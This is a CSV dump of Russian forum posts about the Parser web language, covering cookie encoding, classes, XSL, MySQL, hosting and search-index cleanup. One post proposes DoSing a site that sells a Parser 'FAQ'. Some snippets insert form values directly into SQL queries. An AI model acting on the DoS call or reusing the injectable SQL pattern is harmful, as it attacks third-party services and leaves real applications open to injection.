"53912","Проверяю на существование куки, если не существует, сделать ='':\
^if(!(def $cookie:item_find)){$cookie:item_find[$.value[]$.path[/adm/]]}\
\
Всё работает, до тех пор, как пока я не запишу в куку расские буквы. Записываю куки вот так в js:\
[code]function setCookie (name, value, expires, path, domain, secure) {document.cookie = name + \"=\" + escape(value) +((expires) ? \"; expires=\" + expires : \"\") +((path) ? \"; path=\" + path : \"\") + ((domain) ? \"; domain=\" + domain : \"\") + ((secure) ? \"; secure\" : \"\");};[/code]\
\
Ошибки ни какой не возникает, просто кука обнуляется. И она обнуляется именно тем кодом, который я написал в самом верху.\
\
У меня есть предположение, что не нужно писать в js \"escape(value)\", но я так полагаю, если уберу escape, то начнутся другие проблемы...\
\
---------------------------------------\
Дальше просто дополнительная информация, если она нужна...\
\
пробую прочитать куку для проверки в js и всё получается нормально. Читаю этим кодом:\
[code]			function getCookie(name) {\
				var cookie = \" \" + document.cookie; var search = \" \" + name + \"=\"; var setStr = null; var offset = 0; var end = 0;\
				if (cookie.length > 0) {\
					offset = cookie.indexOf(search);\
					if (offset != -1) {\
						offset += search.length;\
						end = cookie.indexOf(\";\", offset)\
						if (end == -1) {\
							end = cookie.length;\
						}\
						setStr = unescape(cookie.substring(offset, end));\
					}\
				}\
				return(setStr);\
};[/code]"
"53913","Может конечно я чего-то не догоняю... но...\
вообщем решил я добавить [url=\"http://parser.proc.ru/\"]http://parser.proc.ru/[/url], точнее проиндексировать Яндексом сайт. результат:\
[quote]Документ http://parser.proc.ru уже проиндексирован и доступен для поиска.\
\
Вы можете посмотреть, какие страницы сайта http://parser.proc.ru доступны в Яндексе к настоящему времени (555 страниц).\
[/quote]\
\
Я, удивляюсь, откуда 555 страниц (а почему не 666 *_*) лезу по ссылке: [url=\"http://www.yandex.ru/yandsearch?serverurl=http://parser.proc.ru\"]http://www.yandex.ru/yandsearch?serverurl=http://parser.proc.ru[/url] и вижу, что реально к сайту относится первые 8 ссылок. Остальное всякий несуществующий бред, типа:\
Электроника, мебель, обмен ссылками, работа (parser.proc.ru/forum/index.php?s=5d2a22027f3019499bc9ed3db185d9f3&act=Print& .. )\
Сайт проституток ВЗЛОМАЛИ! Там теперь ТАКОЕ.. (parser.proc.ru/forum/index.php?s=5d1862669cecef56147dc0994e85cf0a&act=Print& .. )\
...\
и все в таком духе. Я удивляюсь, откуда они взяли адрес \"/forum/index.php\", когда PHP я не пользуюсь. Бред"
"53915","Воспользовался поиском... Нашёл два важных сообщения про наследование базовых классов:\
http://www.parser.ru/forum/?id=44551\
http://www.parser.ru/forum/?id=17733\
\
Может что-то не до конца понял.\
\
Код test.p:\
[code]\
@CLASS\
test\
\
@BASE\
date\
\
@create[date]\
^BASE:create[$date]\
\
@printx[x]\
$x\
\
@h[var]\
$testh[$var]\
[/code]\
\
Содержание html-файла:\
[code]\
^use[test.p]\
\
$date[^test::create[2006-05-20]]\
^if($date is 'test'){\
	^$date is test\
	^if(def $date.year){\
		$date.year\
	}{\
		not define ^$date.year\
	}\
}{\
	^$date isn't test\
}\
\
^date.printx[print x is good]\
\
#$h[^date.h[xxx]]\
#$h.testh\
[/code]\
Запускаю в браузере и тупо вижу:\
[code]\
$date is test\
not define $date.year\
print x is good\
[/code]\
Если раскоментирую две последние строки, то получаю ошибку:\
[code]\
[b]testh[/b]\
element can not be stored to stateless_class\
[/code]"
"53916","1. и? вопросы-то где? :)\
2. что именно вы хотите сделать закомментированными строками? \
\
а вообще нашли правильное, там ПАФ предлагает вариант, который должен работать, хотя его удобство для меня сомнительно."
"53917","Раньше на этом домене стоял форум на IPB. Естественно, что он индескировался Яндексом."
"53918","в форуме [url=\"http://www.parser.ru/forum/?terms=%25uxxxx&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]уже обсуждалось[/url], популярные варианты:\
\
1. вместо escape() использовать [url=\"http://xkr.us/articles/javascript/encode-compare/\"]encodeURIComponent()[/url], но это не будет работать в IE версий < 5.5\
\
2. воспользоваться таблицей замен (есть в примере про jshttprequest), если с классом cookie не выгорит – попробовать $env:HTTP_COOKIE или что-то в этом роде..."
"53920","[code]RewriteRule forum/index.php /no-such-page-here [G,L][/code]и Яндекс при следующем заходе выкинет эти страницы из индекса..."
"53921","1) Но тогда вместо просто .table в вышеописанном посте, мне придется весь блок генерить через xdoc методы. Поэтому-то производительность и интересовала.\
\
2) А по б и в вопросам что можете сказать?"
"53924","Думал по данному будет понятен первый вопрос. В общем остаётся загадкой почему я не могу получить значения $date.*** (ведь по идее это хэш даты)?\
Второе почему не могу работать с переменными в подобном классе? Из-за чего именно \"$testh[$var]\" вызывает ошибку \"element can not be stored to stateless_class\"?"
"53925","1. прочитайте таки что написал ПАФ\
2. вы пытаетесь сохранить в поле testh класса date. такого поля у класса date нет. можете определить его в конструкторе вашего класса - тогда должно сохраняться.\
\
P.S. я ни разу не пытался наследоваться от системных классов (ни разу не требовалось), так что мои рассуждения тут - теоретические."
"53928","Всем привет!\
У меня встал вопрос над написанием админки. Даже и предположить не могу как это всё организовать.\
Вопрос появился к товарищу egr, а почему бы ему не выложить пример своей админки, так сказать для общего развития.\
Т.к. этот вопрос со временем будет подниматься ещё не один раз, в этом я уверен. Так почему бы не выложить на общее рассмотрение,\
и усовершенствование..."
"53929","Всем привет!\
Ситуация вот такая:\
Пытаюсь делать свою cms исходя из исходников сайта egr,\
у него на сайте за стили отвечает файт style.xsl\
Вот он:\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<!DOCTYPE xsl:stylesheet SYSTEM \"../dtd/entities.dtd\">\
\
<!-- $Id: style.xsl,v 1.4.4.1 2003/10/29 12:32:41 egr Exp $ -->\
\
<xsl:stylesheet\
	version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
>\
\
	<xsl:template name=\"site_style\">\
		<style type=\"text/css\">\
			<xsl:comment>\
				<xsl:call-template name=\"common_site_style\"/>\
			</xsl:comment>\
		</style>\
	</xsl:template>\
\
<!-- Таблица стилей сайта -->\
	<xsl:template name=\"common_site_style\">\
<!-- Подключение внешнего стиля -->\
		<xsl:choose>\
			<xsl:when test=\"$color = 2\">\
				<xsl:text> @import url(/CSS/gray.css); </xsl:text>\
			</xsl:when>\
	\
			<xsl:when test=\"$color = 3\">\
				<xsl:text> @import url(/CSS/green.css); </xsl:text>\
			</xsl:when>\
	\
			<xsl:otherwise>\
				<xsl:text> @import url(/CSS/standart.css); </xsl:text>\
			</xsl:otherwise>\
		</xsl:choose>\
		<xsl:text> @import url(/CSS/ipColorer.css); </xsl:text>\
	</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
Можно ли каким нибудь образом переделать этот шаблон чтобы исходя из времени суток\
использовался определённый css'ник, ночью gray.css днём green.css а вечером standart.css\
Сразу прошу прощения если что не так..."
"53930","Про хостинг\
Всем привет!\
Кто-нибудь пользовался услугами хостинга [url=http://www.sdhost.ru]sdhost[/url]\
Выскажите своё мнение...\
На sdhost'e есть тарифный план [url=http://www.sdhost.ru/hosting.html]стандарт[/url].\
Посоветуйте другой хостинг с похожим тарифным планом."
"53931","1. две форумные таблицы объединил в одну (минус left join при формировании дерева)\
2. в связи с п.1 появилась возможность делать полнотекстовый поиск. сделал. т.е. теперь ищется в разы быстрее, что меньше нагружает SQL сервер, что в свою очередь должно облегчить и работу всего остального. правда насколько хорошо будет искать полнотекстовый поиск я пока не знаю :)\
\
в общем посмотрим."
"53932","Буду посмотреть дома ночью. Это даже более интересно, ибо ночью приходят страшные поисковые роботы :)\
\
да и секунды дома есть чем померить\
\
P.S. Но вот на ОТПРАВКУ этого сообщения на форум ушло секунд 15"
"53933","Больше года прользуюсь хостингом от [url=\"http://www.rusonyx.ru\"]RusOnyx[/url] начинал с тарифа: [url=\"http://www.rusonyx.ru/service/hosting/no5/\"]Тариф № 5[/url] он практически ноль в ноль идентичен указанному Вами. Сейчас пользуюсь: [url=\"http://www.rusonyx.ru/service/hosting/no10/\"]Тариф № 10[/url], планирую перейти на [url=\"http://www.rusonyx.ru/service/vps/details/\"]VPS[/url]. Качеством услуг очень доволен. Parser работает отлично. Менять хостера не собираюсь, если до дидикейта или колокейта не дорасту :-)"
"53936","можно было написать ему в почту и получить пароль доступа."
"53939","[code]^MAIN:dbconnect{\
	^to_change.menu{\
		^void:sql{UPDATE servaki SET id='$to_change.id', $to_change.action='$to_change.put' WHERE id='$to_change.id' LIMIT 1}\
	}\
}[/code]\
\
таблица $to_change заполняется по ходу выполнения кода, хочу спросить - большого напряга не будет на базу, если применять вышеуказанный код? или может существует другой способ организации \"множественного\" запроса к бд на Парсер? \
(необходимо будет изменить не более 40 строк)"
"53940","кто и как решает данную проблему -- поделитесь пожалуйста своим видением."
"53941","Да пошли они в жопу!\
Меня поэтому практически не один хостер не устраивает.\
VPS -- ведь в той памяти и дисковом прострастве что там указано будет крутится и mysql и пр."
"53944","Придёт crawler проверять, на месте ли проиндексированная страница - а ему выдают вместо кода HTTP 200 (OK) код 410 (Gone). После чего паук вычеркнет страницу из базы.."
"53948","1) Отсутствие FK и триггеров(без которых бд не может считаться реляционной кстати)\
2) Отсутствием поддержки utf-8\
3) Отсутствием транзакций\
То что скорость работы у нее меньше -- это тоже понятно.\
\
Вот собственно основные недостатки."
"53950","Для одного моего проекта потребовался 4 MySQL (так как понадобилась поддержка utf-8) и memory_limit 32M в php.ini\
Первый вопрос был решен обращением в техподдерку (мне завели отдельный аккаунт), а второй самостоятельно.\
Проект на typo3 работает пока в тестовом режиме."
"53951","конечно, 404, а не 200.."
"53952","По моему лучше всего поискать на [url=\"http://hostobzor.ru/db/list_host.php?f1=UNIX&f2=2&f4=&f6=&f9=2&stat=1\"]hostobzore[/url] и почитать отзывы клиентов."
"53953","просто пытаюсь загрузить динамическую страницу через file::load\
\
выдает:\
302\
invalid HTTP response status\
\
я не совсем догоняю, что она означает, но вроде как редирект.\
подскажите, как с ней бороться???"
"53954","Во-первых давно изобрели 5 версию. Удобную, быструю, стабильную. На худой конец 4.1\
Также есть PostgreSQL\
\
Тут слава богу у меня используется colocation заказчика.\
А про FK и триггеры просто советую попробовать -- очень удобно."
"53955","если в коде мы напишем $cookie:user[Петя] - в браузер получим user=%CF%E5%F2%FF; обратное преобразование работает аналогично, если вы все сделали правильно..."
"53957","после функции encodeURIComponent('Петя') в куках...\
\
$cookie:item_find в парсере\
выводит\
[code]РџР°С?Р°[/code] :(\
в браузере\
[code]%D0%9F%D0%B0%D1%88%D0%B0[/code]\
Так как получившееся перекодировать обратно в \"Петя\" в Parser? Какой список замен использовать или где посмотреть???"
"53960","почиму оно к вам такое приходит - непонятно, может [url=\"http://www.parser.ru/forum/?id=47028\"]проблема с кодировками страниц[/url], или с настройками браузера...\
\
на счет таблицы ничего посоветовать не могу, нетипичный случай :)\
Лучше сперва привести к типичному а потом решать..."
"53962","хоть архив делай... в общем сделал выдачу для них заголовка last modified, может реже ходить будут, но полегчает из-за этой модификации не сразу."
"53963","Чем они отличаются?\
Когда нужно пользоваться первым, а когда вторым?"
"53964","http://www.citforum.ru/internet/search/rbtspec.shtml"
"53966","вот такой странный вопрос у меня возник в следствии интересного случая у меня на работе:\
какие-то хорошие люди досили свич, в результате - 92% потерь пакетов. В это время правил бд (MySQL) таблицу через админку (простыми UPDATE)\
и бывало, что запрос вроде как бы и отправлялся но изменений в таблице не происходило (через пхпМайАдмин проверял), так вот вопрос - можно как то отслеживать статус запроса к бд?"
"53967","И как же? если можно код..."
"53969","[code]^MAIN:dbconnect{\
	^void:sql{UPDATE servaki \
	^to_change.menu{SET id='$to_change.id', \
	$to_change.action='$to_change.put' WHERE \
	id='$to_change.id' LIMIT 1}\
		}\
}[/code]\
\
Сам не пробовал."
"53970",", которые поддерживают транзакции. и разберитесь с сетью у Вас на работе :)"
"53973","по моему очевидно, что если после того, как клиентское приложение отправило запрос к серверу произошел разрыв соединения, то узнать результаты запроса клиентское приложение не может.\
\
однако как вам уже подсказали, с помощью транзакций в некоторых случаях можно заставить сервер адекватно реагировать на подобные ситуации."
"53974","А триггеры к хорошему коду в приложении"
"53975","А триггеры и FK постоянно =)"
"53977","Так что ваш вариант единственно-возможный"
"53978","Большая часть систем построена на версиях, то есть значения старых элементов не меняются вообще.\
Они только удаляются когда число откатов превышает нное количество значений.(эту модель я использую принципиально часто)\
\
Все изменения значений связанных таблиц при этом меняется по FK\
\
А если и приходится что-то делать UPDATE'ом то вопрос оптимизации не стоит."
"53979","Видите ли typo3 не совсем корректно с 5-ой отрабатывает, да и ну ее эту typo3, вещь конечно сильная, но уж больно тяжелая."
"53980","б) Зачем избавляться-то? При добавлении текста в базу вы его типографируете и в последующем только выводите, это ведь производительнее, нежели каждый раз при выводе типографировать. \
\
в) XML."
"53981","Отправляем запрос, если пришел ответ — все отлично, если не пришел — кто-то досит свич."
"53983","1. Вычисляете пользовательскую дату\
\
2. Передаете ее в виде переменной в XSL (http://www.parser.ru/docs/lang/xdoctransform.htm) или записываете в XML\
\
3. <xsl:choose>"
"53984","2Штирлиц:\
http://parser.proc.ru/"
"53985","Промблема в том, что значения $kol.field выводятся, но не заносятся в базу. Пробовал вместо $kol.field ставить число, тогда все великолепно заносится. Если кто знает, подскажите.\
СПАСИБО.\
\
$kol[$form:tables.kol]\
	^if($kol){\
	^kol.menu{\
        ^connect[$connect_string]{\
	^void:sql{update orders set   kol='${kol.field}' where user='${usr}'}}  \
	$kol.field}\
	$response:location[$request:uri]\
	}"
"53986","Пользовался Arbatek, Masterhost, Sweb. По моему мнению Sweb лучший. На Masterhost'е MySQL старый. Еще одна приятная мелочь: на Sweb парсер уже устанвлен."
"53988","В смысле \"отправляем запрос\"?\
перед тем, как начинать обновление\\вставку в таблицу делать тестовый \"select 1+1\"?\
А где гарантия того, что сразу после этого не начнется DoS?"
"53990","3. Меню можно поместить [b]внутри[/b] коннекта.\
2. Переменные можно писать без фигурных скобок.\
1. Не срабатывает условие WHERE, т.е. в не находиться запись, у которой поле user равно переменной $usr\
\
[code]\
$kol[$form:tables.kol]\
^if($kol){\
	^connect[$connect_string]{\
		^kol.menu{\
			^void:sql{UPDATE orders SET kol='$kol.field' WHERE user='$usr'}\
		}\
		$kol.field\
	}\
	$response:location[$request:uri]\
}\
[/code]"
"53991","Вставить меню в коннект, хоть как-то заработало. Но во все  ячейки добавляет не разные значения,а только последнее значение $kol.field.\
Может быть проблема в том откуда я беру значения $kol.field.\
Вбиваю их вручную.\
Вот код:\
[code]<input size=\"2\" name=kol value=\"$carzpol.kol\">  [/code]\
$carzpol.kol беру из базы, поумолчанию все значения равны 1.\
Потом вбиваю в INPUT-ы значения. И в бызе заменяю значения поля \"kol\" на значения $kol.field по user-у."
"53993","Это просто развод.\
Позорят честное имя Парсера.\
http://uwfd.info/buy.php?tovid=2960\
\
Предлагаю задосить эту шаражку."
"53997","Хотя было бы интересно увидеть человека, знающего о P3, но купившего этот \"FAQ\"..."
"54001","Вопрос состоит собственно вот в чём:\
Если таблицы объединены join'ами, но одна из них никаким боком не задействована (из неё ничего не выбирается и не накладывается никаких условий), то отъедает ли она ресурсы?\
\
И вот почему меня это интересует:\
Пытаюсь написать класс, который будет получать кучу параметров в виде хеша, используя эти параметры делать выборку из БД и формировать из полученной таблицы XML.\
\
SQL-запрос формируется в виде строковой переменной и затем отдаётся базе. Происходит это примерно так:\
\
[code]$sql_query[select distinct\
поле1,\
поле2,\
.....\
\
from\
\
таблица1 as t1\
join таблица2 as t2 on t1.поле2 = t2.поле1]\
\
^if(условие){\
$sql_query[$sql_query\
and поле4 < 50]\
}{}\
\
...\
\
\
^MAIN:dbconnect{\
   $s[^table::sql{$sql_query}]\
}\
\
[/code]\
\
Мне было бы удобнее сначала собрать явными join'ами все таблицы, которые могут быть задействованы в запросе, а затем по необходимости навешивать условия.\
\
Или может быть это совсем кривой подход к решению задачи?"
"54002","Подскажите как можно настроить апач на эпле\
файлы конфигурации нащёл, но получит к ним доступ немогу\
\
Помогите плз ссылкой желательно на русском или советом"
"54003","MAC OS X 10.3"
"54006","Вы хотите базу данных перевести из SQL в XML?\
Какие параметры будет получать класс?\
[quote]все таблицы, которые могут быть задействованы в запросе[/quote]\
Как я понимаю, класс будет не универсальным, а заточенным под ваши таблицы? Тогда вообще не вижу смысла городить такой огород, напишите несколько отдельных методов, например хотя бы так:\
\
[code]\
@CLASS\
sql2xml\
\
@table[type]\
^switch[$type]{\
	^case[...]{^...[]}\
}\
# end @table[]\
\
@...[]\
# end @...[]\
[/code]"
"54007","1. Выбирал бы из базы данных в таблицу то, что мне нужно.\
\
2. Переводил бы таблицу в XML:\
\
[code]\
@table2xml[tData;sRootName;sRowName][tColumns]\
^if(!def $sRootName){$sRootName[items]}\
^if(!def $sRowName){$sRowName[item]}\
$tColumns[^tData.columns[]]\
<$sRootName>\
	^tData.menu{\
		^tColumns.menu{\
			<$sRowName>\
				$tData.[$tColumns.column]\
			</$sRowName>\
		}\
	}\
</$sRootName>\
# end @table2xml[]\
[/code]"
"54008","Бабушкины сказки\
...\
С оптимизацией кода связано множество заблуждений.\
Сокращение числа строк высокоуровневого кода повышает бысшШ ствие или уменьшает объем итогового машинного кода — НЕВЕРНО!\
Многие убеждены в том, что, если сократить какой-то фрагмент до одном или двух строк, он будет максимально эффективным. Рассмотрим код инициализации массива из 10 элементов:\
[code]\
for 1 = 1 to 10\
	а[1] = 1\
end  for\
[/code]\
Как вы думаете, он выполнится быстрее или медленнее, чем эти 10 решающих ту же задачу?\
[code]\
а[1] = 1\
а[2] = 2\
а[3] = 3\
а[4] = 4\
а[5] = 5\
а[6] = 6\
а[7] = 7\
а[8] = 8\
а[9] = 9\
а[ 10 ] = 10\
[/code]\
Если вы придерживаетесь старой догмы «меньшее число строк выполняется быстрее», вы скажете, что первый фрагмент быстрее. Однако тесты на Microsoft Visual Basic и Java показали, что второй фрагмент минимум на 60% быстрее.\
\
...\
с. Макконнелл. Совершенный код."
"54015","[quote]Если таблицы объединены join'ами, но одна из них никаким боком не задействована (из неё ничего не выбирается и не накладывается никаких условий), то отъедает ли она ресурсы?[/quote]\
\
сделайте запрос и посмотрите что вам возвращает SQL сервер. чем больше строк/столбцов возвращает тем больше рессурсов отъедается.\
\
+ любой join создает дополнительную нагрузку для sql сервера."
"54016","Не могу сообразить как правильно сделать следующее и прошу Хелпа!!\
Есть пользовательские классы,([b]n1.p и n2.p[/b]) которые лежат в определенной директории.\
В каждом классе определен метод (наименование методаодинаково во всех классах), допустим \
[code]...\
@info[]\
$var[^table::create{nn1	nn2\
nnvalue1	nnvalue2\
}\
]\
\
^var.menu{\
$var.nn1, $var.nn2\
}\
...\
[/code]\
, где содержется некая таблица.\
\
Так вот\
\
Есть еще класс [b]list.p[/b] где я пытаюсь проверить на наличее файлов вышеперечисленных классов и подключить через ^use, и затем считать методы (вывести таблицу с полями nn1 и nn1) по каждому классу.\
[code]...\
$m_list[^file:list[$m_patch;\\.p^$]]\
\
^if(def \"$modul_list.name\"){\
^m_list.menu{\
^use[${m_patch}$m_list.name]\
}\
...\
\
^m_list.menu{\
^имя модуля:info[]\
}\
[/code]\
\
Как ^(имя модуля):info[] сделать подстановку этого (имя модуля), и вообще правильно ли я все задумал???\
\
Заранее благодарен."
"54017","FreeBSD 5.5, jail, apache22, suexec, parser 3.2.1 (собран из исходников)\
в auto.p пути к модулю и libpq указаны верно, пробовал указывать абсолютные пути.\
Ошибка одна и та-же (ну только вариации с путями):\
'./lib/libparser3pgsql.so' can't open the module [<no type>]\
\
Может быть, проблема из-за jail'a?\
Нельзя ли статически модуль вкомпилировать?"
"54018","[quote]Вы хотите базу данных перевести из SQL в XML?[/quote]\
\
Нет.\
\
[quote]Как я понимаю, класс будет не универсальным, а заточенным под ваши таблицы? Тогда вообще не вижу смысла городить такой огород, напишите несколько отдельных методов[/quote]\
\
А зачем умножать сущности? Выбирается всегда одно и то же. Разнятся только критерии отбора.\
\
[quote]+ как бы сделал я\
1. Выбирал бы из базы данных в таблицу то, что мне нужно.\
2. Переводил бы таблицу в XML[/quote]\
\
Именно это я и собираюсь делать. Только XML там будет немного сложнее."
"54019","А не отбросит ли оптимизатор эти лишние join'ы, обнаружив что они никак не используются?"
"54020","если в запросе написан \"join\", то он используется и таблицы соединяются по заданному условию.\
\
оптимизатор лишь упрощает условия и выбирает путь как серверу лучше этот join выполнять."
"54021","На компе стоял PHP, Apache 2, My SQL. Снёс все, установил Apache Swissknife в надежде, что наконей заработает Parer. Чуда не случилось - Parser не заработал, плюс - My SQL не работает:\
[quot]Ошибку вызвал этот фрагмент:\
mysql:/****@localhost/parser \
Ошибка произошла при работе с файлом:\
/classes/standard/sql/sql.p, строка номер 76\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
connect в файле /classes/standard/sql/sql.p, строка 76 \
inc в файле /classes/standard/sql/sql.p, строка 76 \
server в файле /auto.p, строка 54[/quot]\
На другой \"чистый\" комп установил - все работает. Подозреваю из-за старой MySQL ничего не работает. Как это можно исправить?"
"54022","http://www.parser.ru/forum/?id=46325\
довольно старая проблема, стандартный INSTALL был автоматизирован, но под BSD как и раньше требуется напильник.\
И кстати, в комментариях эта особенность тоже никак не проявилась."
"54023","а именно, [i]текст самой ошибки[/i] (он - выше того, что вы процитировали).\
\
P.S. Кстати, текст, который вы привели, сгенерирован Парсером. Т.е. он у вас работает. Поздравляю."
"54024","Наверное я че то ни то спросил раз ни кто не реагирует"
"54025","подскажите как сделать нумерацию абзацев как в \"ководстве\" Лебедева"
"54029","[quot]В работе Parser произошла ошибка:\
can't connect to mysql server on 'localhost' (10061)[/quot]\
На счет Парсера я разобрался."
"54030","Вы отключили ту копию MySQL, которая у вас была раньше?\
Вы уверены, что запускается именно тот MySQL, который входит в комплект Apache Swissknife?"
"54031","предыдущую копию MySQL я вообще удалил (включая записи в реестре), потом установил Apache Swissknife - все равно не подключается к базе.  \
Параллельно установил Apache Swissknife на другом компе (здесь работает), только вот когда дошел до баз данных (урок с новостями из хелпа), при добавлении еще одной записи вылезла ошибка [quot]duplicate entry '1' for key 1[/quot] причем при создании таблицы в тестовой базе я не смог назначить (с помощью MySQL-Front)для id параметр auto_increment - когда отмечаю его - программа выдает ошибку [quot]1067 - Invalid default value for 'id'[/quot]. Этот самый 'id' какой только не ставил - не помогает."
"54032","Насчет [quot]1067 - Invalid default value for 'id'[/quot] разобрался. Извините за беспокойство"
"54033","На сколько я понял в данном примере не известно имя метода, у меня же ситуация противоположная, у меня заранее не известно сколько классов и какие в определенной дирректории лежат, а имя метода в этих классах всегда одно и тоже.\
\
Я путем простого просмотра в директории смотрю наличие  файлов классов, затем, подключаю их с помощью конструкции\
[code]^l.menu{ ^use[...][/code]\
\
далее \
из этих классов считать метод (имя метода одно и тоже), с помощью той же конструкции \
[code]l.menu{\
^имя класса:system[]\
}\
[/code]\
\
Так вот у меня не выходит [b]^имя класса:system[][/b] вставить в цикле имена классов.\
\
Результатом должно быть таблица со списком классов и результатом действия метода в этих классах.\
\
Спасибо.!"
"54034","Пример:\
[code]select\
t1.f1,\
t1.f2\
from table1 as t1\
join table2 as t2 on t2.f1 = t1.f3[/code]\
\
При таком варианте я действительно накладываю ограничение - выберутся только те записи, для которых нашлось соответствие t2.f1 = t1.f3\
А если я сделаю left join? Вроде как получится что с join'ом, что без него - одно и то же? Или я не прав?"
"54035","Предыдуott сообщение оставил я сам!! просто забыл залогиниться.\
И оно касалось этого примера [b]http://www.parser.ru/forum/?id=9066[/b]"
"54036","Возник вопросик, а есть ли какой-нибудь хостинг-провайдер который предоставляет\
услугу типа составте сами свой тарифный план? и чтобы за такую услугу вдвое больше денег не брали."
"54039","Вот этим всё и сказано:\
[code]\
out of memory (while allocating XML compsite memory [size=131072])\
[/code]\
\
Перед XSL трансформацией очистил насколько возможно глобальные переменные и сделал ^memory:compact[]. Но всё-равно получаю такую ошибку. Я так понимаю, что нехватает памяти именно в момент трансформации... Возможно очень объёмный xsl файл. Или может нужно просто увеличить объём оперативно памяти на сервере?"
"54040","Вот такая ситуевина, есть Апач свисснайф 3. нужно мне настроить в нем обработку парсера 2. пытался настроить по докам от второго парсера - не выходит, говорит урл не найден. если отключаю в httpd.conf поддержку 3 парсера - апачь вообще перестает работать. где копать? Или где взять апач с поддержкой 2 парсера?"
"54041","Нужно сложить числа, полученные из базы. Как это можно сделать?\
\
[code]^eval(^get_view.menu{$get_view.view}[+])[/code]"
"54042","2. http://www.parser.ru/forum/?id=14551"
"54043","может тут проблемка не в xsl и xml? может у тебя в выходном файле xml идёт сильное зацикливание?"
"54044","Просто задумался... Допустим есть база данных, а в ней таблица. Например, в этой таблице список ответов в данном форуме. Ответов в форуме немеренно. Рационально ли сообщения разделить по месяцам в отдельные таблицы? Или группировать по 20 тредов... и т.д. Просто основная мысль, разделять одну таблицу на несколько, ведь по идее, тогда всё будет работать гораздо быстрее... или не будет?\
\
А если таким образом создастся в БД огромное количество таблиц? Если этих таблиц будет... ну 1000штук... Это всё равно будет работать быстрее, чем если бы это была одна таблица?\
\
Допустим выборка пары пунктов из такой базы наверняка была бы быстрее... А, например, поиск - наверняка, медленнее.\
\
Мысли у меня правильные или нет? И насколько это рационально?"
"54045","неправильные мысли. Совершенно."
"54047","Действительно, помогло.\
\
Большое спасибо."
"54048","1. Скажите, когда Swissknife закрыт, есть ли в списке процессов  \"mysqld-opt.exe\"? (список открывается по нажатию Ctrl+Shift+Esc)\
\
2. Есть ли \"mysqld-opt.exe\" в списке, когда вы запускаете Swissknife?\
\
3. Когда вы подводите курсор к иконке Swissknife в tray, что написано на всплывающей подсказке? \"Apache работает / MySQL работает\"?\
\
4. Если написано \"MySQL остановлен\", попробуйте открыть окно командной строки и запустить команду:\
\
[i]c:\\[/i]что-у-вас-там[i]\\вебсервер\\mysql\\bin\\MySQLd-opt.exe --old-passwords --skip-innodb --skip-bdb --log-error=mysql.log[/i]\
\
Что получится? Программа просто заработает или вывалится с ошибкой? Если вывалится, приведите, пожалуйста, текст.\
\
5. Покажите, пожалуйста, содержимое файла [i]c:\\[/i]что-у-вас-там[i]\\Вебсервер\\mysql\\data\\mysql.log[/i]"
"54049","У вас в одной таблице служебная информация, в данной таблице нет полей типа BLOB. К тому же на основные параметры поиска в этой таблице, сортировок(например время, тред и т.д) поставлены индексы. Я думаю что беспокоиться при правильном постороении тысяч до 100 записей особо не следует.\
\
Кортежи второй таблицы выбираются в соответствии с первой, поэтому скорость выборки там зависит только от объемов данных, сортировки по ним не происходит."
"54050","Еще разок повторюсь, \
Можно ли, и если да то как, вызывать метод (имеющий одно и тоже наименование в разных пользовательских классах).\
\
1. количество и имена классов я сканирую в директории на наличие как файл с необходимым расширением .p, а затем подключаю с помощью use ()\
2. Далее с помощью конструкции [b].menu{...}[/b] хочется вывести результат выполнения данного метода по каждому пользовательскому классу, в таблицу.\
\
Извиняюсь за настойчивость. Может я вообще не в ту степь думаю. Подскажите плз."
"54052","Так ведь уже написал и уменя пока ни чего не получилось, поэтому  и спрашиваю:\
В директории /nn/ лежат файлы классов nn1.p, nn2.p (и их имена и количество зарание не известно)\
В каждом из таких классов есть метод @info[] (имя этого метода одно и тоже во всех этих классах) содержащий талицу с некими данными (не важно). \
\
[code]...\
@info[]\
$var[^table::create{nn1	nn2\
nnvalue1	nnvalue2\
}\
]\
\
^var.menu{\
$var.nn1, $var.nn2\
}\
...[/code]\
\
Так вот \
1. проверяю есть ли эти файлы в нужной мне папке  и подключаю их с помощью ^use\
здесь пока все работает отлично..\
\
[code]...\
$m_list[^file:list[$m_patch;\\.p^$]]\
\
^if(def \"$modul_list.name\"){\
^m_list.menu{\
^use[${m_patch}$m_list.name]\
}\
...\
[/code]\
\
2. Затем пытаюсь считать один и тот же метод из этих классов и вывести результаты выполнения.\
\
[code]^m_list.menu{\
^имя класса:info[]\
}[/code]\
\
Так вот не могу вставить в переборе  [b]имя класса[/b] при такой конструкции - не получается. \
Если задать конкретно [b]^nn1:info[][/b] то выводит только именно результаты этого класса что собственно и так понятно, а вот в динамике не выходит.\
Пробывал  вытащить имена с помощью ^file:justname[..], но он выводит это все как текст и методы не выполняются \
\
Можно ли сделать?"
"54054","В городе Санкт-Петербург я ищу талантливого, увлеченного и ответственного программиста.\
\
Основные языки разработки Парсер и Питон. Также приветствуется знание XML/XSLT, JavaScript.\
\
Работать мы будем в стиле TDD, парного программирования и в соответствии с канонами XP, поэтому фамилию Фаулер и Бэк, вы знать должны.\
\
Работа в офисе, график обусловлен обоюдным желанием работать, где-то 8-9 часов в день. Кофе с печеньем прилагается.\
\
Платим 1000-1200$.\
\
Слова о себе пишите на designi.ru(хрю)gmail.com"
"54055","В моем случае что я не так написал:\
\
[code]...\
^m_list.menu{\
$name[^file:justname[$m_list.name]] # ранее получили список файлов с раширением .p и приводим к имени без расширения\
...\
^process[^^$name:system[]] # здесь бытаюсь выполнить метод из каждого пользовательского класса и сформировать спиок результатов этих методов\
...\
}[/code]\
\
Пишет \
\
name\
class is undefined\
\
Что я сделал не правильно.."
"54056","у меня есть таблица $a\
Есть таблица $b, со столбиком stolb. В $b.stolb находятся названия столбиков таблицы $a\
Мне нужно обратится к столбику в таблице $a...\
\
$a.${b.stolb} - это не верно, а как верно?"
"54061","[quot]Скажите, когда Swissknife закрыт, есть ли в списке процессов \"mysqld-opt.exe\"? (список открывается по нажатию Ctrl+Shift+Esc)[/quot]\
нет\
[quot]Есть ли \"mysqld-opt.exe\" в списке, когда вы запускаете Swissknife?[/quot]\
нет\
 [quot]Когда вы подводите курсор к иконке Swissknife в tray, что написано на всплывающей подсказке? \"Apache работает / MySQL работает\"?[/quot]\
[quot]Apache работает / MySQL остановлен. При попытке запустить ничего не происходит\
